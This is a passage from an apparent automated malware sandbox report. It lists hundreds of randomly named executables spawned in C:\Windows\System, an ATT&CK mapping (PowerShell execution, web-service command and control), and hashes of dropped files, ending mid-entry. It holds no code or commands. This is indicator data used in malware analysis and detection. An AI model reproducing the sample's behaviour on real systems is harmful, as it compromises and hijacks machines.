  PID:5464
- C:\Windows\System\KOjlyEW.exe
  C:\Windows\System\KOjlyEW.exe
  2⤵
  PID:13916
- C:\Windows\System\nBczqHM.exe
  C:\Windows\System\nBczqHM.exe
  2⤵
  PID:5592
- C:\Windows\System\QgdgUxJ.exe
  C:\Windows\System\QgdgUxJ.exe
  2⤵
  PID:5708
- C:\Windows\System\SZPzRSH.exe
  C:\Windows\System\SZPzRSH.exe
  2⤵
  PID:8268
- C:\Windows\System\uMPOgnr.exe
  C:\Windows\System\uMPOgnr.exe
  2⤵
  PID:5900
- C:\Windows\System\WVJWGEi.exe
  C:\Windows\System\WVJWGEi.exe
  2⤵
  PID:1560
- C:\Windows\System\PxscVVj.exe
  C:\Windows\System\PxscVVj.exe
  2⤵
  PID:6596
- C:\Windows\System\GLeiDIc.exe
  C:\Windows\System\GLeiDIc.exe
  2⤵
  PID:4072
- C:\Windows\System\QlLntpZ.exe
  C:\Windows\System\QlLntpZ.exe
  2⤵
  PID:5644
- C:\Windows\System\sRxHpzr.exe
  C:\Windows\System\sRxHpzr.exe
  2⤵
  PID:5720
- C:\Windows\System\vukOhtd.exe
  C:\Windows\System\vukOhtd.exe
  2⤵
  PID:956
- C:\Windows\System\fsZcWwI.exe
  C:\Windows\System\fsZcWwI.exe
  2⤵
  PID:5572
- C:\Windows\System\CNTtoUO.exe
  C:\Windows\System\CNTtoUO.exe
  2⤵
  PID:14068
- C:\Windows\System\dndmjVr.exe
  C:\Windows\System\dndmjVr.exe
  2⤵
  PID:6224
- C:\Windows\System\HYcqkZe.exe
  C:\Windows\System\HYcqkZe.exe
  2⤵
  PID:9628
- C:\Windows\System\iIuCPTs.exe
  C:\Windows\System\iIuCPTs.exe
  2⤵
  PID:8592
- C:\Windows\System\VDDJabS.exe
  C:\Windows\System\VDDJabS.exe
  2⤵
  PID:13936
- C:\Windows\System\jlmPGSY.exe
  C:\Windows\System\jlmPGSY.exe
  2⤵
  PID:14088
- C:\Windows\System\uCJLZIY.exe
  C:\Windows\System\uCJLZIY.exe
  2⤵
  PID:6640
- C:\Windows\System\XhTAkgA.exe
  C:\Windows\System\XhTAkgA.exe
  2⤵
  PID:6632
- C:\Windows\System\RZBplCv.exe
  C:\Windows\System\RZBplCv.exe
  2⤵
  PID:12352
- C:\Windows\System\loyOfmI.exe
  C:\Windows\System\loyOfmI.exe
  2⤵
  PID:6852
- C:\Windows\System\ZwxAUIB.exe
  C:\Windows\System\ZwxAUIB.exe
  2⤵
  PID:10472
- C:\Windows\System\zkBxBNu.exe
  C:\Windows\System\zkBxBNu.exe
  2⤵
  PID:10492
- C:\Windows\System\hSMZFkm.exe
  C:\Windows\System\hSMZFkm.exe
  2⤵
  PID:8792
- C:\Windows\System\oWamgwX.exe
  C:\Windows\System\oWamgwX.exe
  2⤵
  PID:7164
- C:\Windows\System\pFdIUxd.exe
  C:\Windows\System\pFdIUxd.exe
  2⤵
  PID:8848
- C:\Windows\System\uZZQsuQ.exe
  C:\Windows\System\uZZQsuQ.exe
  2⤵
  PID:5260
- C:\Windows\System\MXbfxgw.exe
  C:\Windows\System\MXbfxgw.exe
  2⤵
  PID:14308
- C:\Windows\System\DZNHakd.exe
  C:\Windows\System\DZNHakd.exe
  2⤵
  PID:10692
- C:\Windows\System\teHVCHz.exe
  C:\Windows\System\teHVCHz.exe
  2⤵
  PID:3024
- C:\Windows\System\YOsVpCL.exe
  C:\Windows\System\YOsVpCL.exe
  2⤵
  PID:1008
- C:\Windows\System\lxALfBF.exe
  C:\Windows\System\lxALfBF.exe
  2⤵
  PID:1312
- C:\Windows\System\CDTNvjn.exe
  C:\Windows\System\CDTNvjn.exe
  2⤵
  PID:2896
- C:\Windows\System\lypYbbW.exe
  C:\Windows\System\lypYbbW.exe
  2⤵
  PID:9144
- C:\Windows\System\MCHCqLN.exe
  C:\Windows\System\MCHCqLN.exe
  2⤵
  PID:3512
- C:\Windows\System\LQvXNtY.exe
  C:\Windows\System\LQvXNtY.exe
  2⤵
  PID:7440
- C:\Windows\System\TycgQxr.exe
  C:\Windows\System\TycgQxr.exe
  2⤵
  PID:11000
- C:\Windows\System\AvAEaKw.exe
  C:\Windows\System\AvAEaKw.exe
  2⤵
  PID:7680
- C:\Windows\System\SfXaSCI.exe
  C:\Windows\System\SfXaSCI.exe
  2⤵
  PID:11112
- C:\Windows\System\BtWCMZX.exe
  C:\Windows\System\BtWCMZX.exe
  2⤵
  PID:7816
- C:\Windows\System\wXuABYR.exe
  C:\Windows\System\wXuABYR.exe
  2⤵
  PID:2268
- C:\Windows\System\bZvtuQs.exe
  C:\Windows\System\bZvtuQs.exe
  2⤵
  PID:8168
- C:\Windows\System\sibRogu.exe
  C:\Windows\System\sibRogu.exe
  2⤵
  PID:7852
- C:\Windows\System\QQFUIBy.exe
  C:\Windows\System\QQFUIBy.exe
  2⤵
  PID:2608
- C:\Windows\System\CGWXQFt.exe
  C:\Windows\System\CGWXQFt.exe
  2⤵
  PID:7900
- C:\Windows\System\TnAqecN.exe
  C:\Windows\System\TnAqecN.exe
  2⤵
  PID:13176
- C:\Windows\System\NoTfbZb.exe
  C:\Windows\System\NoTfbZb.exe
  2⤵
  PID:3596
- C:\Windows\System\RiUFqoX.exe
  C:\Windows\System\RiUFqoX.exe
  2⤵
  PID:12480
- C:\Windows\System\AatNqZC.exe
  C:\Windows\System\AatNqZC.exe
  2⤵
  PID:10760
- C:\Windows\System\ppIXLPn.exe
  C:\Windows\System\ppIXLPn.exe
  2⤵
  PID:7756
- C:\Windows\System\APdpjKP.exe
  C:\Windows\System\APdpjKP.exe
  2⤵
  PID:11172
- C:\Windows\System\zbdXAdA.exe
  C:\Windows\System\zbdXAdA.exe
  2⤵
  PID:3676
- C:\Windows\System\PxHBHxB.exe
  C:\Windows\System\PxHBHxB.exe
  2⤵
  PID:8356
- C:\Windows\System\hHnOWeL.exe
  C:\Windows\System\hHnOWeL.exe
  2⤵
  PID:3344
- C:\Windows\System\CQtlbbk.exe
  C:\Windows\System\CQtlbbk.exe
  2⤵
  PID:10812
- C:\Windows\System\DlXRXDD.exe
  C:\Windows\System\DlXRXDD.exe
  2⤵
  PID:11088
- C:\Windows\System\CozZuZQ.exe
  C:\Windows\System\CozZuZQ.exe
  2⤵
  PID:6240
- C:\Windows\System\HmHYxSO.exe
  C:\Windows\System\HmHYxSO.exe
  2⤵
  PID:10368
- C:\Windows\System\FJLEhvV.exe
  C:\Windows\System\FJLEhvV.exe
  2⤵
  PID:9008
- C:\Windows\System\qsejmyv.exe
  C:\Windows\System\qsejmyv.exe
  2⤵
  PID:13520
- C:\Windows\System\LtRgnBx.exe
  C:\Windows\System\LtRgnBx.exe
  2⤵
  PID:13584
- C:\Windows\System\TxiPmCU.exe
  C:\Windows\System\TxiPmCU.exe
  2⤵
  PID:9236
- C:\Windows\System\uMowtfs.exe
  C:\Windows\System\uMowtfs.exe
  2⤵
  PID:9300
- C:\Windows\System\wVCSOEv.exe
  C:\Windows\System\wVCSOEv.exe
  2⤵
  PID:6372
- C:\Windows\System\kSizNnk.exe
  C:\Windows\System\kSizNnk.exe
  2⤵
  PID:12984
- C:\Windows\System\tIejMaq.exe
  C:\Windows\System\tIejMaq.exe
  2⤵
  PID:13652
- C:\Windows\System\yycPbaT.exe
  C:\Windows\System\yycPbaT.exe
  2⤵
  PID:5996
- C:\Windows\System\rIxqfqT.exe
  C:\Windows\System\rIxqfqT.exe
  2⤵
  PID:12548
- C:\Windows\System\MsJTxRM.exe
  C:\Windows\System\MsJTxRM.exe
  2⤵
  PID:8000
- C:\Windows\System\eSnIAUW.exe
  C:\Windows\System\eSnIAUW.exe
  2⤵
  PID:11512
- C:\Windows\System\NgeHtSI.exe
  C:\Windows\System\NgeHtSI.exe
  2⤵
  PID:11568
- C:\Windows\System\JPFeqUI.exe
  C:\Windows\System\JPFeqUI.exe
  2⤵
  PID:6364
- C:\Windows\System\iUBoQCA.exe
  C:\Windows\System\iUBoQCA.exe
  2⤵
  PID:9776
- C:\Windows\System\yHGWVux.exe
  C:\Windows\System\yHGWVux.exe
  2⤵
  PID:2584
- C:\Windows\System\mYbamPY.exe
  C:\Windows\System\mYbamPY.exe
  2⤵
  PID:4880
- C:\Windows\System\uMMqzKB.exe
  C:\Windows\System\uMMqzKB.exe
  2⤵
  PID:7960
- C:\Windows\System\PNwbExS.exe
  C:\Windows\System\PNwbExS.exe
  2⤵
  PID:7608
- C:\Windows\System\ZBiJPvg.exe
  C:\Windows\System\ZBiJPvg.exe
  2⤵
  PID:6392
- C:\Windows\System\zHzSkOP.exe
  C:\Windows\System\zHzSkOP.exe
  2⤵
  PID:1188
- C:\Windows\System\AxvnKlh.exe
  C:\Windows\System\AxvnKlh.exe
  2⤵
  PID:8528
- C:\Windows\System\ShqCqOo.exe
  C:\Windows\System\ShqCqOo.exe
  2⤵
  PID:10112
- C:\Windows\System\OlpAWUb.exe
  C:\Windows\System\OlpAWUb.exe
  2⤵
  PID:13368
- C:\Windows\System\wueCHIo.exe
  C:\Windows\System\wueCHIo.exe
  2⤵
  PID:6700
- C:\Windows\System\nGPATVC.exe
  C:\Windows\System\nGPATVC.exe
  2⤵
  PID:6752
- C:\Windows\System\ryvGRrg.exe
  C:\Windows\System\ryvGRrg.exe
  2⤵
  PID:2988
- C:\Windows\System\GRiXLjY.exe
  C:\Windows\System\GRiXLjY.exe
  2⤵
  PID:12084
- C:\Windows\System\BQZMkmo.exe
  C:\Windows\System\BQZMkmo.exe
  2⤵
  PID:12168
- C:\Windows\System\nYsoWnh.exe
  C:\Windows\System\nYsoWnh.exe
  2⤵
  PID:11500
- C:\Windows\System\vnXlGJD.exe
  C:\Windows\System\vnXlGJD.exe
  2⤵
  PID:11980
- C:\Windows\System\inuhVkf.exe
  C:\Windows\System\inuhVkf.exe
  2⤵
  PID:11644
- C:\Windows\System\cadZVut.exe
  C:\Windows\System\cadZVut.exe
  2⤵
  PID:14244
- C:\Windows\System\FbSPXLH.exe
  C:\Windows\System\FbSPXLH.exe
  2⤵
  PID:12528
- C:\Windows\System\MWfiRwt.exe
  C:\Windows\System\MWfiRwt.exe
  2⤵
  PID:12796
- C:\Windows\System\wlCaQcv.exe
  C:\Windows\System\wlCaQcv.exe
  2⤵
  PID:13100
- C:\Windows\System\OsZUduh.exe
  C:\Windows\System\OsZUduh.exe
  2⤵
  PID:13840
- C:\Windows\System\WibpARG.exe
  C:\Windows\System\WibpARG.exe
  2⤵
  PID:2980
- C:\Windows\System\oRDFpxy.exe
  C:\Windows\System\oRDFpxy.exe
  2⤵
  PID:4824
- C:\Windows\System\hvbtcBA.exe
  C:\Windows\System\hvbtcBA.exe
  2⤵
  PID:5408
- C:\Windows\System\gkGpWdD.exe
  C:\Windows\System\gkGpWdD.exe
  2⤵
  PID:13940
- C:\Windows\System\jvfHLaw.exe
  C:\Windows\System\jvfHLaw.exe
  2⤵
  PID:9980
- C:\Windows\System\barVGBE.exe
  C:\Windows\System\barVGBE.exe
  2⤵
  PID:5920
- C:\Windows\System\XSQoWHF.exe
  C:\Windows\System\XSQoWHF.exe
  2⤵
  PID:8380
- C:\Windows\System\RYQxUIh.exe
  C:\Windows\System\RYQxUIh.exe
  2⤵
  PID:12832
- C:\Windows\System\DPxVvVE.exe
  C:\Windows\System\DPxVvVE.exe
  2⤵
  PID:5764
- C:\Windows\System\ysSLgLT.exe
  C:\Windows\System\ysSLgLT.exe
  2⤵
  PID:13016
- C:\Windows\System\UDMtpkw.exe
  C:\Windows\System\UDMtpkw.exe
  2⤵
  PID:5832
- C:\Windows\System\rZwckPe.exe
  C:\Windows\System\rZwckPe.exe
  2⤵
  PID:860
- C:\Windows\System\DTUaMPq.exe
  C:\Windows\System\DTUaMPq.exe
  2⤵
  PID:4616
- C:\Windows\System\RoOiSCG.exe
  C:\Windows\System\RoOiSCG.exe
  2⤵
  PID:13300
- C:\Windows\System\YaqXgiP.exe
  C:\Windows\System\YaqXgiP.exe
  2⤵
  PID:10380
- C:\Windows\System\gEervju.exe
  C:\Windows\System\gEervju.exe
  2⤵
  PID:7200
- C:\Windows\System\njvdeWT.exe
  C:\Windows\System\njvdeWT.exe
  2⤵
  PID:1736
- C:\Windows\System\DrnAoih.exe
  C:\Windows\System\DrnAoih.exe
  2⤵
  PID:14268
- C:\Windows\System\csNmGgP.exe
  C:\Windows\System\csNmGgP.exe
  2⤵
  PID:5472
- C:\Windows\System\qJZmbwe.exe
  C:\Windows\System\qJZmbwe.exe
  2⤵
  PID:7360
- C:\Windows\System\nlyiNra.exe
  C:\Windows\System\nlyiNra.exe
  2⤵
  PID:2388
- C:\Windows\System\LKGhEto.exe
  C:\Windows\System\LKGhEto.exe
  2⤵
  PID:7300
- C:\Windows\System\nVJpOmp.exe
  C:\Windows\System\nVJpOmp.exe
  2⤵
  PID:13700
- C:\Windows\System\AgSywVy.exe
  C:\Windows\System\AgSywVy.exe
  2⤵
  PID:8352
- C:\Windows\System\TbMiioM.exe
  C:\Windows\System\TbMiioM.exe
  2⤵
  PID:8472
- C:\Windows\System\IYbSQWB.exe
  C:\Windows\System\IYbSQWB.exe
  2⤵
  PID:8664
- C:\Windows\System\feWNMYT.exe
  C:\Windows\System\feWNMYT.exe
  2⤵
  PID:2776
- C:\Windows\System\OwHuWbz.exe
  C:\Windows\System\OwHuWbz.exe
  2⤵
  PID:1440
- C:\Windows\System\qwdBVCU.exe
  C:\Windows\System\qwdBVCU.exe
  2⤵
  PID:8184
- C:\Windows\System\ppUuLuP.exe
  C:\Windows\System\ppUuLuP.exe
  2⤵
  PID:12884
- C:\Windows\System\QSpNwHp.exe
  C:\Windows\System\QSpNwHp.exe
  2⤵
  PID:1604
- C:\Windows\System\SVsgEiF.exe
  C:\Windows\System\SVsgEiF.exe
  2⤵
  PID:11200
- C:\Windows\System\UZfhrzA.exe
  C:\Windows\System\UZfhrzA.exe
  2⤵
  PID:13532
- C:\Windows\System\mEPqNvd.exe
  C:\Windows\System\mEPqNvd.exe
  2⤵
  PID:6340
- C:\Windows\System\lBICSMF.exe
  C:\Windows\System\lBICSMF.exe
  2⤵
  PID:7348
- C:\Windows\System\nJYBlCj.exe
  C:\Windows\System\nJYBlCj.exe
  2⤵
  PID:13648
- C:\Windows\System\pMsvJuO.exe
  C:\Windows\System\pMsvJuO.exe
  2⤵
  PID:12556
- C:\Windows\System\vKXAvjU.exe
  C:\Windows\System\vKXAvjU.exe
  2⤵
  PID:6460
- C:\Windows\System\zRVXyvW.exe
  C:\Windows\System\zRVXyvW.exe
  2⤵
  PID:1704
- C:\Windows\System\ohsMYhD.exe
  C:\Windows\System\ohsMYhD.exe
  2⤵
  PID:13608
- C:\Windows\System\NCyhPeU.exe
  C:\Windows\System\NCyhPeU.exe
  2⤵
  PID:7040
- C:\Windows\System\HoBlHAn.exe
  C:\Windows\System\HoBlHAn.exe
  2⤵
  PID:7604
- C:\Windows\System\FHFyHdx.exe
  C:\Windows\System\FHFyHdx.exe
  2⤵
  PID:11908
- C:\Windows\System\QFjSeek.exe
  C:\Windows\System\QFjSeek.exe
  2⤵
  PID:13424
- C:\Windows\System\tjviLdP.exe
  C:\Windows\System\tjviLdP.exe
  2⤵
  PID:10224
- C:\Windows\System\nbEdiAA.exe
  C:\Windows\System\nbEdiAA.exe
  2⤵
  PID:12156
- C:\Windows\System\wnPDGFO.exe
  C:\Windows\System\wnPDGFO.exe
  2⤵
  PID:11772
- C:\Windows\System\xFpOnrG.exe
  C:\Windows\System\xFpOnrG.exe
  2⤵
  PID:12116
- C:\Windows\System\cAKlOMO.exe
  C:\Windows\System\cAKlOMO.exe
  2⤵
  PID:12344
- C:\Windows\System\mvFjJui.exe
  C:\Windows\System\mvFjJui.exe
  2⤵
  PID:13072
- C:\Windows\System\xRPFWOE.exe
  C:\Windows\System\xRPFWOE.exe
  2⤵
  PID:2880
- C:\Windows\System\nUDnVoh.exe
  C:\Windows\System\nUDnVoh.exe
  2⤵
  PID:636
- C:\Windows\System\dimcTyP.exe
  C:\Windows\System\dimcTyP.exe
  2⤵
  PID:12704
- C:\Windows\System\KotqZuD.exe
  C:\Windows\System\KotqZuD.exe
  2⤵
  PID:6416
- C:\Windows\System\UIuUJlx.exe
  C:\Windows\System\UIuUJlx.exe
  2⤵
  PID:9912
- C:\Windows\System\ngWYpAs.exe
  C:\Windows\System\ngWYpAs.exe
  2⤵
  PID:9348
- C:\Windows\System\sazYHRJ.exe
  C:\Windows\System\sazYHRJ.exe
  2⤵
  PID:9576
- C:\Windows\System\MubEcKJ.exe
  C:\Windows\System\MubEcKJ.exe
  2⤵
  PID:6628
- C:\Windows\System\ohjCclf.exe
  C:\Windows\System\ohjCclf.exe
  2⤵
  PID:6120
- C:\Windows\System\oDpxqqL.exe
  C:\Windows\System\oDpxqqL.exe
  2⤵
  PID:10644
- C:\Windows\System\FLucrjh.exe
  C:\Windows\System\FLucrjh.exe
  2⤵
  PID:1940
- C:\Windows\System\fyrepuJ.exe
  C:\Windows\System\fyrepuJ.exe
  2⤵
  PID:12900
- C:\Windows\System\gJcFVgR.exe
  C:\Windows\System\gJcFVgR.exe
  2⤵
  PID:12720
- C:\Windows\System\nyzYrbG.exe
  C:\Windows\System\nyzYrbG.exe
  2⤵
  PID:7800
- C:\Windows\System\eCIeoog.exe
  C:\Windows\System\eCIeoog.exe
  2⤵
  PID:12532
- C:\Windows\System\bIGryuB.exe
  C:\Windows\System\bIGryuB.exe
  2⤵
  PID:8228
- C:\Windows\System\JzmSTot.exe
  C:\Windows\System\JzmSTot.exe
  2⤵
  PID:3008
- C:\Windows\System\qgLSjve.exe
  C:\Windows\System\qgLSjve.exe
  2⤵
  PID:3216
- C:\Windows\System\WZpoIFm.exe
  C:\Windows\System\WZpoIFm.exe
  2⤵
  PID:6280
- C:\Windows\System\wGsCGjg.exe
  C:\Windows\System\wGsCGjg.exe
  2⤵
  PID:9624
- C:\Windows\System\ZCweHTI.exe
  C:\Windows\System\ZCweHTI.exe
  2⤵
  PID:6748
- C:\Windows\System\JdWVtMp.exe
  C:\Windows\System\JdWVtMp.exe
  2⤵
  PID:7152
- C:\Windows\System\vgguCCq.exe
  C:\Windows\System\vgguCCq.exe
  2⤵
  PID:9296
- C:\Windows\System\dgBRHIa.exe
  C:\Windows\System\dgBRHIa.exe
  2⤵
  PID:14324
- C:\Windows\System\lFFKHxj.exe
  C:\Windows\System\lFFKHxj.exe
  2⤵
  PID:13868
- C:\Windows\System\vtBqUpb.exe
  C:\Windows\System\vtBqUpb.exe
  2⤵
  PID:7080
- C:\Windows\System\fWXSqXq.exe
  C:\Windows\System\fWXSqXq.exe
  2⤵
  PID:8412
- C:\Windows\System\kNvHGFV.exe
  C:\Windows\System\kNvHGFV.exe
  2⤵
  PID:6072
- C:\Windows\System\fXLOHXm.exe
  C:\Windows\System\fXLOHXm.exe
  2⤵
  PID:14248
- C:\Windows\System\IMHgFOQ.exe
  C:\Windows\System\IMHgFOQ.exe
  2⤵
  PID:6580
- C:\Windows\System\TQWTalY.exe
  C:\Windows\System\TQWTalY.exe
  2⤵
  PID:5052
- C:\Windows\System\NeTpiMp.exe
  C:\Windows\System\NeTpiMp.exe
  2⤵
  PID:12436
- C:\Windows\System\MTHpjXe.exe
  C:\Windows\System\MTHpjXe.exe
  2⤵
  PID:13656
- C:\Windows\System\GYFmfpV.exe
  C:\Windows\System\GYFmfpV.exe
  2⤵
  PID:7064
- C:\Windows\System\LPwqxmQ.exe
  C:\Windows\System\LPwqxmQ.exe
  2⤵
  PID:8532
- C:\Windows\System\wGvqvXv.exe
  C:\Windows\System\wGvqvXv.exe
  2⤵
  PID:5044
- C:\Windows\System\yMXOXSU.exe
  C:\Windows\System\yMXOXSU.exe
  2⤵
  PID:6076
- C:\Windows\System\GIHUOAh.exe
  C:\Windows\System\GIHUOAh.exe
  2⤵
  PID:7044
- C:\Windows\System\ceEGtQP.exe
  C:\Windows\System\ceEGtQP.exe
  2⤵
  PID:12784
- C:\Windows\System\YVziZjD.exe
  C:\Windows\System\YVziZjD.exe
  2⤵
  PID:9964
- C:\Windows\System\uKlfOQb.exe
  C:\Windows\System\uKlfOQb.exe
  2⤵
  PID:12916
- C:\Windows\System\KMWEHzh.exe
  C:\Windows\System\KMWEHzh.exe
  2⤵
  PID:8060
- C:\Windows\System\bLiVKjP.exe
  C:\Windows\System\bLiVKjP.exe
  2⤵
  PID:14316
- C:\Windows\System\LlwYAYQ.exe
  C:\Windows\System\LlwYAYQ.exe
  2⤵
  PID:1624
- C:\Windows\System\veXeBHv.exe
  C:\Windows\System\veXeBHv.exe
  2⤵
  PID:14352
- C:\Windows\System\NYZshea.exe
  C:\Windows\System\NYZshea.exe
  2⤵
  PID:14380
- C:\Windows\System\vYpwEuS.exe
  C:\Windows\System\vYpwEuS.exe
  2⤵
  PID:14408
- C:\Windows\System\LoLcZKT.exe
  C:\Windows\System\LoLcZKT.exe
  2⤵
  PID:14436
- C:\Windows\System\eFfyzZI.exe
  C:\Windows\System\eFfyzZI.exe
  2⤵
  PID:14464
- C:\Windows\System\KZvRLSx.exe
  C:\Windows\System\KZvRLSx.exe
  2⤵
  PID:14492
- C:\Windows\System\LsUUZMQ.exe
  C:\Windows\System\LsUUZMQ.exe
  2⤵
  PID:14520
- C:\Windows\System\ecWFWUE.exe
  C:\Windows\System\ecWFWUE.exe
  2⤵
  PID:14548
- C:\Windows\System\myuZENP.exe
  C:\Windows\System\myuZENP.exe
  2⤵
  PID:14576
- C:\Windows\System\zKnjCWV.exe
  C:\Windows\System\zKnjCWV.exe
  2⤵
  PID:14604
- C:\Windows\System\ibHdYEw.exe
  C:\Windows\System\ibHdYEw.exe
  2⤵
  PID:14632
- C:\Windows\System\GOrQKZe.exe
  C:\Windows\System\GOrQKZe.exe
  2⤵
  PID:14660
- C:\Windows\System\QyJvAlQ.exe
  C:\Windows\System\QyJvAlQ.exe
  2⤵
  PID:14688
- C:\Windows\System\osjdmIa.exe
  C:\Windows\System\osjdmIa.exe
  2⤵
  PID:14716
- C:\Windows\System\lFnQWSc.exe
  C:\Windows\System\lFnQWSc.exe
  2⤵
  PID:14744
- C:\Windows\System\WkGUbfV.exe
  C:\Windows\System\WkGUbfV.exe
  2⤵
  PID:14772
- C:\Windows\System\GjEnEGq.exe
  C:\Windows\System\GjEnEGq.exe
  2⤵
  PID:14800
- C:\Windows\System\OfgzlBP.exe
  C:\Windows\System\OfgzlBP.exe
  2⤵
  PID:14828
- C:\Windows\System\vYfYyaT.exe
  C:\Windows\System\vYfYyaT.exe
  2⤵
  PID:14856
- C:\Windows\System\AbrERxg.exe
  C:\Windows\System\AbrERxg.exe
  2⤵
  PID:14884
- C:\Windows\System\AotDouA.exe
  C:\Windows\System\AotDouA.exe
  2⤵
  PID:14912
- C:\Windows\System\schmHTf.exe
  C:\Windows\System\schmHTf.exe
  2⤵
  PID:14940
- C:\Windows\System\PyzUZgU.exe
  C:\Windows\System\PyzUZgU.exe
  2⤵
  PID:14968
- C:\Windows\System\leszjbl.exe
  C:\Windows\System\leszjbl.exe
  2⤵
  PID:14996
- C:\Windows\System\IIJdTzu.exe
  C:\Windows\System\IIJdTzu.exe
  2⤵
  PID:15024
- C:\Windows\System\unQgddY.exe
  C:\Windows\System\unQgddY.exe
  2⤵
  PID:15052
- C:\Windows\System\DTVgQse.exe
  C:\Windows\System\DTVgQse.exe
  2⤵
  PID:15080
- C:\Windows\System\cebACys.exe
  C:\Windows\System\cebACys.exe
  2⤵
  PID:15108
- C:\Windows\System\hzJIAwf.exe
  C:\Windows\System\hzJIAwf.exe
  2⤵
  PID:15136
- C:\Windows\System\NdIIELz.exe
  C:\Windows\System\NdIIELz.exe
  2⤵
  PID:14488
- C:\Windows\System\rvunnVM.exe
  C:\Windows\System\rvunnVM.exe
  2⤵
  PID:15284
- C:\Windows\System\TGbgScM.exe
  C:\Windows\System\TGbgScM.exe
  2⤵
  PID:14340
- C:\Windows\System\XEBBqLC.exe
  C:\Windows\System\XEBBqLC.exe
  2⤵
  PID:14788
- C:\Windows\System\hLcSqxp.exe
  C:\Windows\System\hLcSqxp.exe
  2⤵
  PID:14816
- C:\Windows\System\IUYBRsP.exe
  C:\Windows\System\IUYBRsP.exe
  2⤵
  PID:4920
- C:\Windows\System\SjWWUex.exe
  C:\Windows\System\SjWWUex.exe
  2⤵
  PID:15088
- C:\Windows\System\GGnyeIA.exe
  C:\Windows\System\GGnyeIA.exe
  2⤵
  PID:13760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2i0eakq.np3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\ADAONEL.exe

Filesize
2.9MB

MD5
179a7ecf9eb08c1552289b0a4d7e36c0

SHA1
3f39392e599200c0705ff29f6d450318dc9e936b

SHA256
a2be5e45f7a13fb9c91e0b44c984bc490ebf113929bccdd3c99f31a50ed52acf

SHA512
54c628fa9f03da13f0d532ce6bfe6626c0afad9ccff86103eb1f702dbb3b8458ce2719dc9dfcd19bd60164b7a1ab5b4ada8498d9de805c31e4f717ff5c3cbb0a

Download Submit
C:\Windows\System\BRNuWuH.exe

Filesize
2.9MB

MD5
85e605416b61d7ca7bffa78521c47958

SHA1
a9b912e8752f292358dc4ffff3a229b9d2e1f72f

SHA256
62bb5ed0659a19e97b20b2a85013358404bf165d3bda2239ecf568807a2edbd8

SHA512
17c738ced3fcd43bbf14f489cf94dd42bfce671ef8e2f76dd7269dff2d25529c9f9b6f7ffa49ae401f4bb8607aa56eee9cbeff6b44b097fcd650c8d1adef758d

Download Submit
C:\Windows\System\BgCxVYB.exe

Filesize
2.9MB

MD5
c8bd2fc7bee76acf343dd21d3f9c91e0

SHA1
c2d95da45bc36a938179450b15b8c2ca6500957b

SHA256
2c013bc1df9a58f5bc9f2034e81f691f97e0ffc59f91a9bc3c3248ca87235930

SHA512
83f56e4f84b8ed1a702deac73d0c9fa00eaf584b61ab628de555d848c3e95664b16f7497654061b3e59a1b987dc9084f1239e076b5e5a3892291edb03efa3cf3

Download Submit
C:\Windows\System\CKBTjrV.exe

Filesize
2.9MB

MD5
221e2d117344fd636cca61f0bb46d5c3

SHA1
08d61da8e0621426da7693530c42c6b9ddcada96

SHA256
1ff0a53d8da586500558bf73c2cf52626f2a61dda0fe1ebb01addfda8b5ff220

SHA512
00ac92ebd75cb68043a5275f0e98a82b8e305463c58e087c693bfc79bbeb853ca152fe848f0f49f3817a3e2a9d8fa7494967abefb5863c70ef360a5132d86b79

Download Submit
C:\Windows\System\CYxAjdQ.exe

Filesize
2.9MB

MD5
4d2c8067f0ded1b1c18d3f61ba612d12

SHA1
cd825079e0668986af3cb765904112abd80bb357

SHA256
80d089658b5c5c37b10648494f751daf685d71bf4d4d97a2c6df5ef76e35c45d

SHA512
6cb3206f237848f22fa3b0b6d61a59c5e13955ca5430e2a59a1e3c38d0b32c07a01aefd0bcb65bc49624248d8f6df51cd8a7fccdad1c2960a531d0642789551a

Download Submit
C:\Windows\System\DyZDqnc.exe

Filesize
2.9MB

MD5
a0e4901fe117029f2f90e545c41780b5

SHA1
1f7ee094295a319aae6b0f623c9aead04a591308

SHA256
296aca3a281f193af9d4db5b7cca5d7c9ecc63ce26650f3ba9148d60c951d1c3

SHA512
8ec6a3c51a4202fd50fe337da74e0f6c310640ca5e8f1d277d4f84e988e9371b5080d4be40d8d374864c1f5f51426c3d99ba0030feb1fb9f94b8368b34090be0

Download Submit
C:\Windows\System\EKgqbZN.exe

Filesize
2.9MB

MD5
b7167470d81cd11d0469877933f449ed

SHA1
49b8c11e46986cf33099459dbd5ae96562ad76dc

SHA256
c99e00a2ef49c3623ea250f2c97ed30131244afe5c3f9513654081a2f5908c52

SHA512
6e844620bc2e247bc6087ab626d20edb4a078a6e3d17bcfe73daefb65ed1fb0f80f84868cc8b377f43ea00afb8f3b6c3ec8148532af66d6768c9eb4a718d2dc4

Download Submit
C:\Windows\System\GyVurKU.exe

Filesize
2.9MB

MD5
0002650dadb253b7ab60d3111c388d00

SHA1
df4fd7670d72b2fd70e59d20cae6bb29b94deb84

SHA256
aa508f63b25af373b964ce7178e5990f94fea34918ed4fd228b6d9f9772fffba

SHA512
a56803ef4d158a081e5b65597a3621972434f337f332dc76e5d59667e14403fa3addb5322557734e367b0a9da2a0dc15977cc55c31aa4821ef215967e10b4a2b

Download Submit
C:\Windows\System\HlMPGdx.exe

Filesize
2.9MB

MD5
36e7f71117cd17d54ef8d2bd9940a552

SHA1
b6031b28f47c25b6a9c71ea9641d9d95d4dd39b8

SHA256
fc9e7f4810b590da28c304f243262ad9323167519a7244f46e1a512d516d76b5

SHA512
4ac79365e0eedeca819c41d1d861110724ab9e8a3839f01f4e615a4d7d2d644c30bc1bab07ca94865bd70e3cd6fe1cff790423517717f793b63aac45f28b098e

Download Submit
C:\Windows\System\KCMoONn.exe

Filesize
2.9MB

MD5
97324d1ae2746787e0e15e9e5057014b

SHA1
33b12e3800353cba4cf2a1ed0c7e690b40becafb

SHA256
